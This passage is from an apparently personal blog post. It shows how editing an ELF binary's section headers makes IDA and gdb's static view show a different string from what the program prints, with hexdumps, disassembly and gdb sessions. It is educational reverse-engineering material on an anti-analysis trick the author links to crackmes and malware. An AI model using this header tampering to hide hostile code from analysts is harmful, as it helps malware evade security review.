  0x080484e8 03000000 01000200 48656c6c 6f20576f ........Hello Wo  
  0x080484f8 726c640a 00030000 00010002 00426164 rld..........Bad  
  0x08048508 2c206261 6420576f 726c640a 00       , bad World..  
 mitsurugi@dojo:~/chall/magick$ readelf -S hello  
 There are 30 section headers, starting at offset 0xf20:  
 Section Headers:  
  [Nr] Name       Type      Addr   Off  Size  ES Flg Lk Inf Al  
  [ 0]          NULL      00000000 000000 000000 00   0  0 0  0 4  
 (...)  
  [15] .rodata      PROGBITS    080484e8 0004e8 00002e 00  A 0  0 4  
 (...)  
 mitsurugi@dojo:~/chall/magick$  

And the asm:
 0804842b <main>:  
  804842b:     8d 4c 24 04          lea  0x4(%esp),%ecx  
  804842f:     83 e4 f0             and  $0xfffffff0,%esp  
  8048432:     ff 71 fc             pushl -0x4(%ecx)  
  8048435:     55                   push  %ebp  
  8048436:     89 e5                mov  %esp,%ebp  
  8048438:     51                   push  %ecx  
  8048439:     83 ec 04             sub  $0x4,%esp  
  804843c:     83 ec 0c             sub  $0xc,%esp  
  804843f:     68 f0 84 04 08       push  $0x80484f0  
  8048444:     e8 a7 fe ff ff       call  80482f0 <puts@plt>  
  8048449:     83 c4 10             add  $0x10,%esp  
  804844c:     83 ec 0c             sub  $0xc,%esp  
  804844f:     6a 00                push  $0x0  
  8048451:     e8 ba fe ff ff       call  8048310 <exit@plt>  

puts will print the string located in 0x080484f0, located in .rodata section, which is "Hello World\n\x00<unprinted garbage>"

The Section headers says that you put 0x2e bytes from the offset 0x4e8 at the adress 0x080484e8

Let's change this slightly. Only in section headers, let says that the .rodata sections copy 0x18 bytes from the offset 0x4fd at 0x080484e8.


2/ Who are you, and what are you doing to my Section headers?


We now have a second file, called hello-patched. This file still runs good:
 mitsurugi@dojo:~/chall/magick$ ./hello-patched   
 Hello World  
 mitsurugi@dojo:~/chall/magick$  

The relevant part of Section headers are now:
 mitsurugi@dojo:~/chall/magick$ readelf -S hello-patched   
 There are 30 section headers, starting at offset 0xf20:  
 Section Headers:  
  [Nr] Name       Type      Addr   Off  Size  ES Flg Lk Inf Al  
 (...)  
  [15] .rodata      PROGBITS    080484e8 0004fd 000018 00  A 0  0 4  

2/1/ IDA gets tricked


Here is the printscreen of IDA disassembling this file:


Well, this can be confusing when you know that ./hello writes "Hello World"

So, what you see with IDA is not what you get (I've tested the Free edition of IDA v5.0 and IDA Pro 6.7)

2/2/ gdb is even more confusing

Ths string is not the same between x/s and puts call :)

 mitsurugi@dojo:~/chall/magick$ gdb -nx -q hello-patched  
 Reading symbols from hello...(no debugging symbols found)...done.  
 (gdb) disass main  
 Dump of assembler code for function main:  
   0x0804842b <+0>:     lea  0x4(%esp),%ecx  
   0x0804842f <+4>:     and  $0xfffffff0,%esp  
   0x08048432 <+7>:     pushl -0x4(%ecx)  
   0x08048435 <+10>:     push  %ebp  
   0x08048436 <+11>:     mov  %esp,%ebp  
   0x08048438 <+13>:     push  %ecx  
   0x08048439 <+14>:     sub  $0x4,%esp  
   0x0804843c <+17>:     sub  $0xc,%esp  
   0x0804843f <+20>:     push  $0x80484f0  
   0x08048444 <+25>:     call  0x80482f0 <puts@plt>  
   0x08048449 <+30>:     add  $0x10,%esp  
   0x0804844c <+33>:     sub  $0xc,%esp  
   0x0804844f <+36>:     push  $0x0  
   0x08048451 <+38>:     call  0x8048310 <exit@plt>  
 End of assembler dump.  
 (gdb) x/s 0x80484f0  
 0x80484f0 <hello>:     "Bad, bad World\n"  
 (gdb) run  
 Starting program: /home/mitsurugi/chall/magick/hello-patched   
 Hello World  
 [Inferior 1 (process 5382) exited normally]  
 (gdb)  

Ok, that's not really really true: As soon as you run the program, the Section is corrected, and x/s works as expected, but the demo is worth it. Said differently: if you don't run the binary under gdb, you'll get all wrong.



3/ Conclusion


Now think at a crackme, or malware using this technique. Static Analysts will get lost, without even noticing it :-)

Well, nothing new here: if the same information can be picked from two different places, you can be sure there will be problems.
The fact that Section headers can be changed is known since a very long time, I've just wanted to play a bit with it and manipulate ELF format. The idea of this blogpost has born in my mind after filling a bug I've had with radare2.
You can read another blogpost here with some mitigations in bonus.

If you want to try it with your debugger, you can download a copy of the patched hello file here:
http://42.meup.org/e8AyyDp6/hello (sha256 = f63edf2de7d4edeb02650e3821921ddf3831ee33226cece8f81f31b912e464a5 ) and if it works/fail send me the info, I could compile some results :-)

 0xMitsurugi
There are few people who will make mistakes with fire after having once been burned.
~Yamamoto Tsunetomo